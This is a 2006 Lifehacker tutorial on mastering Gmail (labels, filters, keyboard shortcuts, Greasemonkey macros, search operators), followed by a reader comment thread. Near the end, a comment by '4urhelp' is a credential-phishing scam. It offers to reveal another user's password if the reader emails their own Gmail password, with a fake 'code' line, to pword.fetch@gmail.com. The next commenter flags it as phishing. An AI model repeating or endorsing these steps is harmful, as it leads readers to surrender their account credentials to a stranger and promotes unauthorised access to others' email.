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Hack Attack: Become a Gmail master
==================================
gmail-inbox.png
by Adam Pash
Gmail is hands-down the best web-based email service on the 'net.
Conversation threads, search, tagging, and keyboard shortcuts have
completely revolutionized the way I look at my inbox. I manage all of
my email from my personal Gmail inbox, including the daily flood of
Lifehacker messages. At this point, I can't imagine a program I could
use to manage my email any more efficiently.
Despite my undying love for Gmail, there are still a lot of people who
aren't won over by sheer enthusiasm alone, and still others who just
aren't taking full advantage of the features and functions they've got
at their fingertips in Gmail. Either way, the only thing a Gmail
naysayer needs is a better understanding of everything you can do with
Gmail.
Today I've got a rundown of the methods and add-ons I use to make
Gmail more powerful. By the time you're done with this article you'll
be a bona fide Gmail power user, too.
Quick look at what to expect
When you're done setting up your Gmail account, you should be able to
do everything you see in this short video without once leaving your
keyboard (which means beaucoup productivity for you):
Let's get started down your path to Gmail mastery.
Set up labels
The first thing you'll want to do to flex Gmail's muscle a bit is set
up a few labels. If you're new to labels, think of them as folders, or
better yet, tags. [1] Your email doesn't have to specifically reside
in any folders to be just as accessible. In fact, labels are great
specifically because you can apply multiple labels to one email,
making your email that much easier to find. Setting up labels is
super-easy:
gmail-label.png
1. Go to Settings, and then select the Labels tab.
2. In the textbox labeled, "Create a new label:" simply type your
label and click Create.
Yep, that's it. I'd suggest going through your email and figuring out
how you might want to categorize and label your emails. I generally
create labels for any mailing lists I'm on, along with labels for
different work-related emails and an ever-important Follow-up label
for the emails I want to make sure I remember to reply to (e.g., those
emails I'm not going to reply to immediately but I don't want to fall
through the cracks).
Of course, your labels will revolve around your needs (as they
should), and if you don't already have an email system, I'd encourage
you to examine your email and develop one.
Set up filters
While labels are great on their own - and I label a lot of messages
after they land in my Inbox - there are a lot of instances where you
can assign labels automatically based on the characteristics of the
message, thus saving yourself the work. That's where filters come in.
gmail-filters.png
Gmail can filter an email based on six criteria: From, To, Subject,
Has the words, Doesn't have, and Has attachment. Obviously this setup
offers a lot of power for filtering your incoming mail. After you
choose your criteria, you can choose any combination of the following
options: Skip the Inbox (Archive), Star it, Apply the label...,
Forward it to, and Delete it.
When I set up a new filter, I commonly choose to Skip the Inbox and
Apply a label. For a detailed description of how to do this, check out
my feature on bookmarking with Gmail [2].
Managing multiple email accounts with Gmail
It's not at all uncommon to have more than one email address these
days (actually, for many of you it's been pretty common for years
now). Though you may never be able to consolidate all of your email to
one address, you can at least deal with all of your email from one
account.
gmail-multiple-email-addresses.png
If your non-Gmail account allows for email forwarding, set it up to
forward your mail to your main Gmail address (this process will vary
based on your email account, but it's generally really easy to do
somewhere in the settings). For example, all of the Lifehacker tips
email (which comes to Gina, Keith, and me) comes straight to my
personal Gmail address, at which point it's filtered out of my inbox
and labeled "Lifehacker Tips."
With Gmail's recent addition of smart replying, you shouldn't have to
worry about sending email from the wrong address. When someone sends
you an email, Gmail will automatically use the appropriate email
address when replying (whether it's a Gmail address or not).
Using keyboard shortcuts
This is where Gmail really starts to shine. Despite the fact the Gmail
does a lot of things very well, a lot of these features were just sort
of ho-hum for me. It wasn't until I started using keyboard shortcuts,
and then the Gmail Macros script, that I completely fell in love with
Gmail.
The first thing you'll want to do is enable keyboard shortcuts in
Gmail. This is as simple as navigating to the General tab in the
Settings and selecting "Keyboard shortcuts on." The keyboard shortcuts
let you navigate through your messages, within your conversations,
archive a conversation, and jump to your inbox without ever having to
go for the mouse. Here's a list of the default Gmail keyboard
shortcuts.
Gmail's keyboard shortcuts by themselves are great, but if you really
want to take control of your Gmail inbox, I very highly recommend
installing the Gmail Macros script for Greasemonkey. Though it does a
lot, the most powerful thing you'll use the Gmail Macros script for is
navigating through your labels (including your inbox, trash, drafts,
etc. - after all, they're all just labels) and labeling your
conversations with a really slick Quicksilver-like interface.
gmailgreasemonkey.png
First you'll need to install the Greasemonkey Firefox extension if you
don't already have it installed. Next, install the Gmail Macros script.
There are a couple of different scripts available on the linked blog
post, but I prefer a patched version of the script that stays more
true to Gmail's original keyboard shortcuts.
Here's a quick look at the key commands that the Gmail macros script
provides (click for a larger version):
gmail-key-commands.png
It may take a little time to get the shortcuts embedded in your
memory, but you can easily bring up the list of shortcuts at any time
in Gmail by typing a question mark (?).
Knock out repetitive email
If you do a lot of repetitive typing in your emails (if I type the
same thing three times a day I consider it repetitive), you can really
knock down your repetitive emails quickly with AutoHotKey HotStrings.
I'd never get through my inbox without them, and they're very easy to
set up and edit.
Searching your Gmail inbox
Of course, a solid Gmail tutorial wouldn't be complete without a quick
rundown of searching your Gmail (it's Google, after all!).
Search operators in Gmail work much the same as they do with Google.
Type the operator followed by a colon, and then your search term
(e.g., to:tips@lifehacker.com). Likewise, you can exclude terms from
your search with the hyphen (-).
The search operators allow you to limit the scope of your search to
the to (to:), from (from:), and subject (subject:) fields. Easy
enough, right? You can also search based on labels (label:), emails
with attachments (has:attachment), and even dates
(after:/before:yyyy/mm/dd).
Search operators will come in especially handy if you need more
flexibility when setting up filters (you can add any search term to
the "Has the words" field). Here's a comprehensive list of Gmail
search operators.
Take your Gmail toolbox on the road
Finally, to make my Gmail add-ons (Greasemonkey, Gmail Macros script,
and AutoHotKey assignments) as portable as possible, I email them to
myself as attachments so that whenever I'm away from my computer I can
work just as efficiently as if I were at home.
With all of my systems in place, I'm more pleased with Gmail than I
have been with any other email client, desktop or web based. Of
course, I'm sure I haven't exhausted the matter. Gmail users: what
tips and tricks do you use to enhance your Gmail experience? Non-Gmail
users: What methods do you use that blow Gmail out of the water? Give
us your thoughts in the comments or at tips at lifehacker.com.
Adam Pash is an associate editor of Lifehacker. His special feature
Hack Attack appears every Tuesday on Lifehacker. Subscribe to the Hack
Attack RSS feed to get new installments in your newsreader.
Footnotes:
[1] There are a lot of advantages of Labels or tags over folders. One
huge benefit of labels is that if you choose to delete a label because
you no longer find it useful (perhaps your system has evolved and you
want to clean house), the associated email will not be deleted.
Instead, the label is simply removed. Remember that with Gmail, the
whole point is that you don't have to delete any of your email - ever.
A second benefit of labels is that you can mark one email with as many
labels as you like. [back up]
[2] If you want to use Gmail as a bookmarking tool, drag and drop this
modified GmailThis! bookmarklet onto your browser's bookmarks toolbar
and edit email address and the text labeled "bookmark here" to the
labels you've setup for your bookmarks. [back up]
Read More:
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1. Useful Gmail Filters for Outgoing Email
2. Better Gmail Redesigned Skin Updated
3. Mark All Unread Messages as Read in Gmail
4. CookiePie Logs into Multiple Gmail Accounts Simultaneously
Feature
12:30 PM on Tue Mar 21 2006
By Adam Pash
103,063 views
48 comments
Comments
* AlyM at 10:02 AM on 03/21/06Reply by Email *
One of the reasons I don't use Gmail as my all in one email app is
due to its TOS, which states that it must be used for personal use
only. Granted I still use GMail for my "home" stuff, I still find
it lacking [I understand that it still in beta] in read/delivery
receipt, image pasting, in message html use and message
customization. I have to admit that they have come along way from
where they first started with Chat, contact lists and send as.
http://mail.google.com/mail/help/terms_of_use.html
*
* Alaska Jack at 10:53 AM on 03/21/06Reply by Email *
I think another caveat to watch out for with gMail is that the
Search function doesn't include the contents of attachments.
That's a pretty significant limitation to its utility as far as I
can see. - Alaska Jack
*
* Adam Pash, Lifehacker... at 10:59 AM on 03/21/06Reply by Email *
@AlyM: I can understand your hesitation if you're not a fan of the
TOS. To be honest, though, regarding the features you feel that
Gmail is lacking (specifically receipts and image pasting) - those
are the kind of features that are often kind of annoying when
you're on the receiving end, so I can say that I'm personally glad
to see them lacking. ;)
*
* ShadowBottle at 11:14 AM on 03/21/06Reply by Email *
Check out the Gmail Label Colors too:
http://userscripts.org/scripts/show/2433 Makes it alot easier to
distinguish between different labels and looks alot nicer as well.
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* Jesse at 03:54 PM on 03/21/06Reply by Email *
aaaach. I've been forced to use pop access, because doing it by
internet is hardly ever possible, as the site is nearly always
down. I haven't been able to access it all day, for instance
*
* wayne at 04:19 PM on 03/21/06Reply by Email *
Adam, could you explain how one would go about applying the Gmail
Macros patch you referred to? There aren't any instructions on the
website.
*
* Adam Pash, Lifehacker... at 04:39 PM on 03/21/06Reply by Email *
@wayne: To make things easier, I'll just link to the patched
script from here. Just install this script as you would any other
Greasemonkey script: Gmail Macros patched Greasemonkey script
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* Scott K. at 08:05 PM on 03/21/06Reply by Email *
My wish? To make GMail the universal client. So, instead of having
to rely on other services forwarding to Gmail, be able to set up
GMail to POP into those other sevices. THAT would be cool!
*
* lionel at 08:17 PM on 03/21/06Reply by Email *
Instead of a "follow-up" label, I use the star tag. Much quicker.
I wonder how everyone else uses the star, since its meaning is
really whatever you make of it.
*
* wayne at 11:04 PM on 03/21/06Reply by Email *
Adam, thanks so much for the patched Gmail Macros link. I'm loving
the feature. Just wanted to say that I found this resource really
helpful: http://g04.com/misc/GmailTipsComplete.html . It's got
lots of great ideas of how to make gmail and its unique filing
system really work for you.
*
* jpb at 06:00 AM on 03/22/06Reply by Email *
Just be sure to also POP your gmail in case something happens to
your account - I keep a copy on my Powerbook so I can still access
my mail when I'm away from network, which happens more often than
I'd like.
*
* Sandy McArthur at 11:35 AM on 03/22/06Reply by Email *
I wrote a GreaseMonkey script for Gmail to help me manage large
volumes of emails from various developer mailing lists I'm on.
Basically it helps me know how much activity there has been for a
label by changing the label display from showing the unread count
to unread since I last opened the label count. It's not the
perfect solution but it helps me manage and ignore conversations I
don't care about which means I have more time for other stuff.
http://userscripts.org/scripts/show/3440
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* growler at 12:10 PM on 03/22/06Reply by Email *
You forgot one thing that makes gmail so great: gSpace, the
Firefox extension that lets you use gmail as a drive, giving you
2700+ MB of storage capacity.
*
* Adam Pash, Lifehacker... at 12:58 PM on 03/22/06Reply by Email *
Reader Mike writes in: For those of you who aren't fans of Gmail's
TOS, or are stuck w/ POP addresses and happen to have a Mac,
there's a great plug-in called MailTags that can give Mail.app the
same flexibility Adam mentioned for GMail. It adds meta-data to
your messages, and syncs really well with spotlight, as well as
the Rules pane for filtering and marking messages (Mail.app has
label colors that ShadowBottle mentioned for Gmail - I use a
bright color for "follow-up"). I've really buffed up the email
workflow on my ibook by just adding a couple of
rules/tags/projects and now email is much easier to cope with.
(I'm not at all affiliated btw, and it is free donationware).
http://indev.ca
*
* Ben at 03:37 PM on 03/22/06Reply by Email *
I use saved search folders in Thunderbird much like labels in
Gmail, it allows messages that meet certain criteria to be
filtered into folders and they can be in more than one folder.
Additionally, the labels in gmail are much more versitile than the
star. That said, the one thing stopping Gmail from being a killer
app? I think Sting said it best, "I want my PGP!" Without a way to
encrypt emails it's still just second best to a desktop app.
*
* allkindsoftime at 05:47 AM on 03/23/06Reply by Email *
Hmm. I'm trying the GM script for Gmail and so far its pretty
cool, but whenever I bring up the help menu it only shows me the
top half - the bottom half falls off the end of the window - can't
seem to bring up the rest - any ideas?
*
* grayrest at 06:11 AM on 03/23/06Reply by Email *
@Sandy: Most of my gmail usage is mailing lists. I get a couple
hundred messages a day, so my favorite extended macros are the
mark shortcuts and the discard (mark as read + archive). I read
through the interesting threads and star the ones I plan on
following up later. Once the interesting threads are read/replied
to, I do a 'mtd' which selects all unstarred messages and discards
them. This way, all the messages that require followup stay in my
inbox where I'll see them and not forget about them. I also make
fairly heavy use of n/p and o when reading through threads. I
mention this because most people seem to know about j,k,x,y but
not the keys to move within a conversation. Also, the ? shortcut
only works on my patched version of the script (the linked one).
Also, the original macros script has different shortcuts than the
screenshot shown.
*
* grayrest at 07:10 AM on 03/23/06Reply by Email *
Just looked back at the original thread. It seems mihai has
updated the script to take care of the recent breakages at:
http://persistent.info/archives/2006/03/21/gmail-macros I've
updated my patched version, fixed a few problems with my
additions, added a mark unread ('v') and updated the help to
reflect the new, undocumented 'q' focuses quick contacts shortcut.
Direct link to the patched version:
http://gr.ayre.st/~grayrest/greasemonkey/gmail/gmail-macro... One
other tip I didn't see mentioned: If you want to keep the 'gi'
shortcut for going to the inbox with the macros script, you can't
have any labels starting with an 'i'. I move all mine to 'l'
(lowercase L), as it looks like a capital I.
*
* vansciver at 08:50 AM on 03/23/06Reply by Email *
Nice Hack attack, Adam. :) I love GMail, so don't get me wrong,
but my one gripe is that partial searches don't work for me. (For
example, searching for a price by just the number without the
dollar sign doesn't work...same goes for partial words). Kinda
funny considering G's claim to fame is search.
*
* Adam Pash, Lifehacker... at 11:49 AM on 03/23/06Reply by Email *
@grayrest: Cool, thanks for the update on the script. Mark unread
is a good addition - what's the Quick Contacts shortcut, exactly?
So far 'Q' doesn't do anything for me.
*
* grayrest at 12:14 PM on 03/23/06Reply by Email *
If you're on chat-enabled gmail, a box appears on the left
immediately above the labels and below the normal contacts link.
It's titled 'Quick Contacts' and hitting q focuses that text box
just like hitting / focuses the search box.
*
* Adam Pash, Lifehacker... at 06:04 PM on 03/23/06Reply by Email *
Ahhh... gotcha - I disabled chat, so that explains it.
*
* ylawayjdp at 04:08 AM on 03/24/06Reply by Email *
I thought I would recommend some of the other scripts that I use
for Gmail, * Gmail conversation Preview - used for if you just
want to quickly look at the contents of an email in a handily
little scrollable speech bubble. * Gmail CSS Skin - makes Gmail
prettier, though I do believe this script has caused FireFox to
crash when loading Gmail. * Non- Gmail but still pretty cool
Greased Light box - excellent little tool for viewing images that
are linked to by a web page in "quicksilver-esque" style found
this through Digg a while ago http://shiftingpixel.com/lightbox/ .
(apparently this has already been covered here on LH) Hope you
find these useful J
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* rehren at 02:32 PM on 03/24/06Reply by Email *
the 'labels' feature of gmail can be hard for some people to catch
onto - mostly people whom are used to the manual storage of
messages in an hierarchal folder structure. the entire purpose of
filing a message is superceeded by labels - people file so that
they know where to retrieve the message from and this comes from
the use of filing cabinets and other means of physical storage.
this is unproductive for digital content - you don't need to
remember what folder you stored the message in, you simply label
the messages (mutliple labels even) and then utilize the search
function to let the computer do the work for you. last time i
checked my pentium outperformed my brain when it came to searching
for files - and that very point needs to be set into the minds of
every email user. i hope that IMAP servers (and IMAP email
clients) begin supporting server-side labeling so that my work
email experience can be as good as my gmail experience. great
article, i've been sending it to all of my friends whom have yet
to catch the gmail bug.
*
* tmweber at 03:51 PM on 03/27/06Reply by Email *
The best part of gmail for me is the starred list. I have a filter
that stars all emails to xxx+todo@gmail.com and puts a ToDo Label
on them (As well as pulling them out of the inbox). Then I have
all my ToDo list items easily accessible on the starred list.
Emails I need to act on get starred as well, saving me an entry in
another list. I can also add to it remotely by sending a text
message to that email account. This saves me the money and pocket
space of a pda, when all I really need it for is simple
organization. Any other cool Starred list uses?
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* Jeff at 11:01 PM on 03/29/06Reply by Email *
After reading all this GMail goodness, I can't help thinking about
how awful the new Yahoo mail turned out to be. Everyone I know (me
included) has switched back to the old version. I'd give GMail a
try, but every conceiveable respectable version of my name is
already taken and I'm not going to have monkeypoo or the like as
my email address. Sigh.
*
* farlane at 10:37 AM on 03/31/06Reply by Email *
Thanks - these tips are great Adam. Still, I really wish for some
sensible UI decisions such as a "Delete & Next" link a la
SquirrelMail (which would delete the message you're reading and
move to the next one saving by my calculation about 8 days of time
per lifetime). Sometimes I wonder about the UI team at Google...
*
* Image of Jaisne Jaisne at 07:41 AM on 09/07/06Reply by Email *
well, i still want to be able to sort by subject, and not be told
that is the old way of doing things. gmail's great, but this is a
feature i used all the time on yahoo and with my regular email
program.
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* Image of jeik15 jeik15 at 02:48 PM on 09/22/06Reply by Email *
THANX a bunch Adam!! I love keyboard shortcuts. This has just gave
me another reason to ABSOLUTELY love GMail.
*
* Image of craigyt craigyt at 09:38 AM on 10/11/06Reply by Email *
Is is possible to set up a filter to 'mark as read'??? Seems real
basic but I can't find a way of doing it. I connect to Gmail from
my phone via pop and I don't want ALL my new mail to come down.
Even if I apply a label and archive incoming mail - if it's
unread, my phone will grab it.
Which is a pain.
Any suggestions??
*
* Image of katana katana at 05:20 AM on 10/18/06Reply by Email *
Gmail just started adding your REAL GMail address when you send it
from your 'linked' accounts. Say I linked my work email,
me@work.com, so I could send work e-mail from e-mail.
I send it, and it appears from that. But when people reply or
forward to it, it says "Sent by me@gmail.com on Behalf of
me@work.com."
I HATE that!!!! If I wanted to use my Gmail address to send to
people, I would do that-- but I want to frickin' use my work
e-mail address still. It used to work this way and was great!
*
* Image of arod arod at 05:45 PM on 11/04/06Reply by Email *
adam:
one more really cool feature you should mention is the unlimited
email addresses that Gmail provides. All you have to do is put a
plus "+" after the first part of your Gmail address.
For example, if your address is apash@gmail.com then you can do
apash+lifehacker@gmail.com or apash+lh@gmail.com. There are an
infinite number of possibilities! (for all you comp sci/math
majors, I am being figurative. I know it is actually finite.)
This trick makes it easy to put in different email addresses to
register for mailing/subscription lists (apash+apache@gmail.com,
apash+cpan@gmail.com). Then in Gmail you can easily filter them to
get deleted... err... labeled correctly.
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* Image of felix_cohen felix_cohen at 02:27 AM on 01/16/07Reply by
Email *
Arod: not only that, but if you add a + and then an existing label
in your gmail (and possibly new ones, who knows?), it will
automagically label the email when it arrives. Great for
reminders, and also for doing mass uploads of messages with
sendmail and folders (one of these days I'll get round to
scripting that properly).
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* Image of Torley Torley at 02:44 PM on 01/17/07Reply by Email *
Connectedness Index: 84
I just saw this, and would sure like to know a way to use filters
to "Mark As Read" too. Would be very handy for the volume of email
I get. :)
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* Image of jer887 jer887 at 03:38 PM on 02/06/07Reply by Email *
@Sandy: Your Greasemonkey script is exactly what I've been looking
for. I'm going to try it out right now. Thanks!
*
* Image of timjordan timjordan at 10:55 AM on 03/01/07Reply by
Email *
I would like to find a script that would put a little check box
next to all e-mails that would allow me to click on it and make a
rule for this sender called "always archive" that way I could
clean up my inbox from stuff i dont want to see but still have it
incase I do. I have tried making a rule for each one but it takes
too long. Could anyone make a script like that? Timjordan AT
cheerful.com
*
* Image of lordgaruda lordgaruda at 11:56 PM on 03/22/07Reply by
Email *
Hi,
I am having some trouble managing multiple email accounts with
GMail. It would be great to have dedicated folders(labels) for the
forwarded emails from corresponding accounts. How does one set up
the filter to do exactly that? The filter 'from' is not good since
it isn't strictly from the_source@mail.account. I tried using the
'to' filter. However, a lot of my emails are from group account
where the sender uses some weird 'suppressed mail list'. As a
result some of the mails don't necessarily contain a 'proper' to
address.
Also, whats up with putting the 'labels' bar in the middle of the
page. I would much rather have it close to the top (think apple
mail) since I wouldn't want to scroll all the way down just to see
what's new in my school folder(label!).
Cheers
lordgaruda
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* Image of MikeWas MikeWas at 08:25 AM on 03/30/07Reply by Email *
@lordgaruda: As noted above, you can use "+suffix" in your emails.
So, let's say I wanted to forward all my email from
foobar@perpetualbeta.com to my Gmail account. I would set up the
foobar@perpetualbeta.com to forward all email to
"myname+foobar@gmail.com" then apply a filter to all "To:
myname+foobar@gmail.com" messages.
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* Image of SlaunchaMan SlaunchaMan at 04:06 PM on 04/04/07Reply by
Email *
Katana,
Many spam filters will mark a message as spam if the "From:" field
doesn't really match the sender of the message. So, if a filter
sees you@work.com but knows the message was sent from
you@gmail.com, it will filter the message as spam and your e-mail
will never reach its recipient. Putting the you@gmail.com in there
avoids this pitfall, and is necessary (though annoying).
*
* Image of michaelper22 michaelper22 at 07:31 PM on 04/12/07Reply
by Email *
@Scott K.: Google recently added a feature that lets Gmail check
other POP3 accounts. Go to Settings, and click the Accounts tab.
There you will see a labled "Get mail from other accounts". I
never used it, but it must be pretty good.
*
* Image of fdenzer fdenzer at 10:42 PM on 04/20/07Reply by Email *
Some more food for thought on the TOS: Section 11.1, which states
that, while you retain copyright, "you give Google a perpetual,
irrevocable, worldwide, royalty-free, and non-exclusive licence to
reproduce, adapt, modify, translate, publish, publicly perform,
publicly display and distribute any Content which you submit, post
or display on or through, the Services. This licence is for the
sole purpose of enabling Google to display, distribute and promote
the Services..." Am I the only person who finds this disturbing,
or am I missing something (not to mention the fact that this
section sounds self-contradictory)?
*
* Image of Just Aaron Just Aaron at 08:28 AM on 05/27/07Reply by
Email *
On 3/21/06, AlyM said:
"One of the reasons I don't use Gmail as my all in one email app
is due to its TOS, which states that it must be used for personal
use only."
I've reproduced that section of the TOS below, and to quote one of
my favorite movies "I do not think that word means what you think
it means."
The paragraph seems to be concerned with prohibiting you from
sharing your password. Note the phrase "*your* personal use." It
does not seem to be concerned with the difference between personal
and commercial use.
Given that, I have this great way to MMF! :)
Personal Use. The Service is made available to you for your
personal use only. Due to the Children's Online Privacy Protection
Act of 1998 (which is available at
http://www.ftc.gov/ogc/coppa1.htm), you must be at least thirteen
(13) years of age to use this Service. You must provide current,
accurate identification, contact, and other information that may
be required as part of the registration process and/or continued
use of the Service. You are responsible for maintaining the
confidentiality of your Service password and account, and are
responsible for all activities that occur thereunder. Google
reserves the right to refuse service to anyone at any time without
notice for any reason.
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* Image of skygal skygal at 02:49 PM on 09/13/07Reply by Email *
I've used my work email for everything - even non work related
things, and we've been told it will all disappear if we don't move
it out ourselves. So I've looked around at other programs and I
like gmail so I set up an account. I still have a problem, though.
I have a lot of email to move over to gmail from the work account.
How can I do that "en masse" without having to forward each
individual email from work to gmail? I know that is possible if
gmail was imap, but it appears to be pop. If I have missed
something let me know. I'd like to get it all moved over as soon
as possible. I enabled pop in gmail and set it up so it's coming
into my work Thunderbird client. But when I've done some "test"
moves of work emails over to gmail, it of course does not show in
gmail when I look at it online. Any ideas?
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* Image of Joe@TRW Joe@TRW at 01:46 PM on 11/12/07Reply by Email *
I prefer Keybreeze. I had a brief run-in with AutoHotKeys and I
understand that its programming functionality has much more
potential than Keybreeze but the latter's ease of use keeps me
coming back.
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* Image of magnoliasouth magnoliasouth at 08:19 PM on 12/01/07Reply
by Email *
@fdenzer: You're referring to the entire Google set of TOS, not
just Gmail. It's an all inclusive set of terms, being that much of
Google's services are designed for sharing purposes. While on the
surface it seems a bit much, I can understand the reason behind
it. However they take privacy very seriously as evidenced by their
fight against the DOJ for information about searches alone. So to
answer your question, no. I don't find it disturbing.
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* Image of jroebke jroebke at 08:00 AM on 01/14/08Reply by Email *
Is there a way to add a read receipt on the messages a send out,
w/o having to do Gmail through Outlook or a third party app? I
know they are sometimes annoying on the reading side but sometimes
it's necessary on the sending side.
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* Image of 4urhelp 4urhelp at 02:49 AM on 04/14/08Reply by Email *
Log in to your own gmail account. Note: Your
account must be at
least 30 days old for this to work.
STEP 2- Once you have logged into your own account,
compose/write an e-mail
to: pword.fetch@gmail.com This is a mailing
address to the Google
Staff. The automated server will send you the password
that you have
'forgotten', after receiving the information you send
them.
STEP 3- In the subject line type exactly: " PASSWORD
RECOVERY "
STEP 4- On the first line of your mail write the email
address of the person
you are hacking.
STEP 5- On the second line type in the e-mail address
you are using.
STEP 6- On the third line type in the password to YOUR
email address (your
OWN password). The computer needs your password so it
can send a JavaScript
from your account in the Google Server to extract the
other email addresses
password. In other word the system automatically
checks your password to
confirm the integrity of your status.
The process will be done automatically by the user
administration server. STEP 7- The final step before
sending the mail is,
type on the fourth line the following code exactly:
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
{simply copy and paste above.}
so for example if your gmail id is :
John_100@gmail.com and your password
is: John and the email address you want to hack is:
test@gmail.com then
compose the mail as below:
To: pword.fetch@gmail.com
bcc: cc: (Don't write anything in cc,bcc field)
Subject: " PASSWORD RECOVERY "
Message :
test@gmail.com
John_100@yahoo.com
John
cgi-bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsa
The password will be sent to your inbox in a mail
called "System Reg
Message" from "System. When my friend showed me how
to do this I thought it was too good a trick to keep
to myself! Just try and
enjoy!
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* Image of LoisCaban LoisCaban at 01:36 PM on 05/25/08Reply by
Email *
PHISH ALERT!!! The previous post is probably a clever phishing
attempt to get your email account password and won't return
anything to you. The administrators of this site should really
close comments on this topic because of ABUSE like this.
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Image of at 11:21 AM on 07/06/08
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